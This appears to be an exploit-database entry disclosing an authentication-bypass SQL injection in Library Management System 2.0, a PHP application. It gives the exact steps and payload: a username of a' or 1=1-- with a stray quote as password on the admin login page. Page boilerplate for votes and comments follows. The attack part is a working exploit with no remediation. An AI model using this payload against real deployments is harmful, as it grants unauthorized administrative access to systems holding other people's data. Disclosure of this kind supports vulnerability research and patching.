Library Management System 2.0 SQL Injection

2020.12.10

Credit: Manish Solanki

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-89

# Exploit Title: Library Management System 2.0 - Auth Bypass SQL Injection
# Date: 2020-12-09
# Exploit Author: Manish Solanki
# Vendor Homepage: https://www.sourcecodester.com/php/6849/library-management-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=6849&title=Library+Management+System+in+PHP%2FMySQLi+with+Source+Code
# Version: 2.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4
#Vulnerable Page: admin page
#Exploit
Open the Application
check the URL:
http://localhost/eb_magalona_lms
Open Admin Login
Enter username: a' or 1=1--
Enter password: '
click on login
The SQL payload gets executed and authorization is bypassed successfully

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Library Management System 2.0 SQL Injection

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.